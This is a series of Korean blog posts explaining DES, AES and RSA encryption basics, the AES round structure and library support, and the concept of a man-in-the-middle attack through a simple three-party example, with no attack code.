미국 NIST (미 표준 기술 연구소)에서 정한 암호이며, 키 길이가 56비트로 너무 짧고 특히나 슈퍼키가 존재할 수 있다는 의심을 받고 있습니다. 3 DES는 DES를 세번 반복하는 것입니다. DES는 이제 역사속으로 사라지는 암호화 알고리즘 입니다. 

AES (Advanced Encryption Standard)

미국 NIST에서 정한 암호이며, 32배수의 키 길이를 사용하나 128bit의 키 길이가 대세입니다. AES는 특히 무료로 공개되었기에 대부분의 보안 장비에서 사용하고 있습니다. AES는 Secure IP Telephony에서 가장 중요한 알고리즘으로 SRTP 및 Signaling 등에서 사용합니다.


비대칭 암호화 알고리즘은 너무 느린다는 단점은 있지만, 매우 안전하며, 키 관리가 단순하다는 장점이 있습니다. 따라서 적은 양의 데이타를 처리하는 데 주로 사용됩니다. 대표적인 비대칭 암호화 알고리즘인 RSA에 대해 초간단하게 살펴보겠습니다. 

RSA 

RSA는 Rivest, Shamir, Adleman라는 세명이 과학자에 의해 개발되었으며, 세 사람의 앞글자를 따서 이름을 만들었습니다. RSA의 키길이는 1024 또는 2048bit를 이용합니다. RSA는 소인수 분해를 기초로 만들어 졌습니다.  소인수분해는 하나의 숫자를 작은 소수의 곱으로 나누는 것입니다. 소인수 분해가 획기적으로 빠르게 할 수 있는 양자컴퓨터가 반들어지기 전까지는 대세 프로토콜입니다. 

일반적인 공개키(Public Key) 알고리즘은 송신자가 수신자의 공개키로 암호화하여 전송하고, 수신자는 자신의 개인키(Private Key)로 복호화하므로 개인키를 가진 한 사람만이 암호화된 내용을 확인할 수 있습니다. 그러나, RSA는 개인키로 암호화하여 공개키로 복호화할 수 있습니다.개인키로 암호화는 단 한명 만이 할 수 있고, 공개키를 가진 누구든지 볼 수 있으므로 전자서명에 활용됩니다.


 단순하게 대칭 암호화 알고리즘인 AES는 대용량 데이타를 처리하기 위해 사용하고, 비대칭 암호화 알고리즘인 RSA는 소용량 데이타를 처리하기 위해 사용합니다.

'보안 & 보안' 카테고리의 다른 글

Spoofing? Sniffing?  (0) 2016.11.09
SandBox란?  (0) 2016.07.28
AES와 SHA 차이  (2) 2016.07.21
AES  (0) 2016.07.21
Man In The Middle Attack  (0) 2016.07.19
SQL Injection  (0) 2016.07.06
  1. 2018.07.13 11:43

    비밀댓글입니다

  2. ^^ 2019.03.09 18:08

    잘 읽고 갑니다~ 감사합니다~

Advanced Encryption Standard, 줄여서 AES라고 흔히 불린다. 높은 안전성과 속도로 인해 인기를 얻어 전세계적으로 많이 사용되고 있다. AES를 위한 암호화 알고리즘은 레인달 알고리즘이 뽑혔다. 이후 2001년 2월 28일, 기밀문서를 암호화 할 때, DES를 대체하여 많이 사용되기 시작되었다.

알고리즘

 AES암호화에 사용되는 단계들이다.

  • S-Box

  • ShiftRows

  • MixColumns

  • AddRoundKey

키 스케쥴다음, 가장 처음에 AddRoundKey로 CipherText를 암호화 시킨다. 그 다음, 위에 4 알고리즘을 CipherText에 적용한다. 비트크기에 따라 반복하는 수가 다르다. AES-128같은 경우는 9번, AES-192는 11번, 그리고 AES-256은 13번 반복한다. 4 알고리즘을 적용후, 마지막으로 S-Box, ShiftRows, 그리고 AddRoundKey를 적용한다.

특징

128-bit, 192-bit, 그리고 256-bit 키 길이로 처리한다. 128 비트일경우, 10 번 (마지막 라운드 함수를 포함하여) 라운드를 돌려 암호화 하고, 192 비트는 12번을 돌고, 256 비트 일경우, 14 번을 돈다.
S-Box를 간단히 설명하자면 입력 데이터를 지정된 숫자로 바꿔서 암호를 깨기 어렵게 만드는 기법이다. AES는 이걸 창조롭게 재발명하여 암호화 속도를 높이고 싶으면 S-Box를 메모리에 박아놓고, 프로그램 메모리 양을 줄이려면 실행시 S-Box를 연산으로 구해내는 기법을 사용했다. 

프로그래밍 언어

자바 : API에 java.security 패키지와, javax.crypto 패키지를 사용하여 AES 암호화를 사용할 수 있다.
C/C++ : 기본 라이브러리에는 없는 듯 하다. 3rd Party Software나, 다른 API는 구글에 검색을 해서 얻을 수 있음
C# : System.Security.Cryptography 네임스페이스와 System.Security.Cryptography.Aes 클래스를 사용하면 된다.
Python : Crypto 모듈에서 지원한다.
Go : "crypto/aes" 패키지를 이용하면 된다.

 안정성

미국 정부가 채택하여 기밀문서를 암호화를 했다. 즉, 정부가 믿을 정도라는 것이다. 그러나, 몇번은 공격을 받은듯 하다. 솔직히 AES의 알고리즘은 은근히 간단한 수학 공식이다. 암호화하는 게 쉽다고 깨는게 쉬운 건 아니지만 말이다. 물론 절대로 프로그램이나, 암호화를 공격하여 해킹을 막는 방법은 절대로 존재하지 않았고, 존재하지 않고, 앞으로도 존재할수가 없다. 다만, 공격을 하는 시간을 늘리고, 더 까다롭게 하는 것 밖에 못한다. 그러나 아직은 AES가 최강의 암호화 이고, 당장은 키없이 해독하는것을 거의 불가능하다고 믿어지고 있다. 심지어, 다른 최신 cipher 와 마찬가지로, known-plaintext 해킹기술로도 해독이 불가능 하다고 한다.

'보안 & 보안' 카테고리의 다른 글

SandBox란?  (0) 2016.07.28
AES와 SHA 차이  (2) 2016.07.21
AES  (0) 2016.07.21
Man In The Middle Attack  (0) 2016.07.19
SQL Injection  (0) 2016.07.06
SHA  (0) 2016.07.06

Man In The Middle Attack (중간자 공격, MITM) 이란?

중간자 공격(man in the middle attackMITM)은 네트워크 통신을 조작하여 통신 내용을 도청하거나 조작하는 공격 기법이다. 중간자 공격은 통신을 연결하는 두 사람 사이에 중간자가 침입하여, 두 사람은 상대방에게 연결했다고 생각하지만 실제로는 두 사람은 중간자에게 연결되어 있으며 중간자가 한쪽에서 전달된 정보를 도청 및 조작한 후 다른 쪽으로 전달한다. 많은 암호 프로토콜은 중간자 공격을 막기 위하여 인증을 사용한다. 예를 들어, TLS/SSL 프로토콜은 공개 키를 기반으로 한 인증을 사용한다.

예제

갑이 을과 통신하려고 하는 상황에서, 병은 그 사이에 끼어들어 을에게 잘못된 메시지를 전달한다. 먼저, 갑이 을에게 공개키(Public Key)를 요청한다. 을이 갑에게 을의 암호 키를 보낼 때, 병이 이 사이에 끼어들 수 있다면 중간자 공격이 시작된다. 병은 갑에게 자신의 암호 키를 보내며 갑이 받은 것은 을의 암호키라고 믿게한다.

  1.    "안녕 을! 너의 암호 키 좀 줘!" → 병    
  2.    병 "안녕 을! 너의 암호 키 좀 줘!" →    
  3.    병 ← [을의 암호 키]    
  4.    ←[병의 암호 키] 병    
  5.    "버스 정류장에서 봐!"(병의 암호 키로 암호화한 암호문) → 병    을
  6.    병 "지하철 6번출구에서봐!"(을의 암호 키로 암호화한 암호문)→   을


'보안 & 보안' 카테고리의 다른 글

SandBox란?  (0) 2016.07.28
AES와 SHA 차이  (2) 2016.07.21
AES  (0) 2016.07.21
Man In The Middle Attack  (0) 2016.07.19
SQL Injection  (0) 2016.07.06
SHA  (0) 2016.07.06

+ Random Posts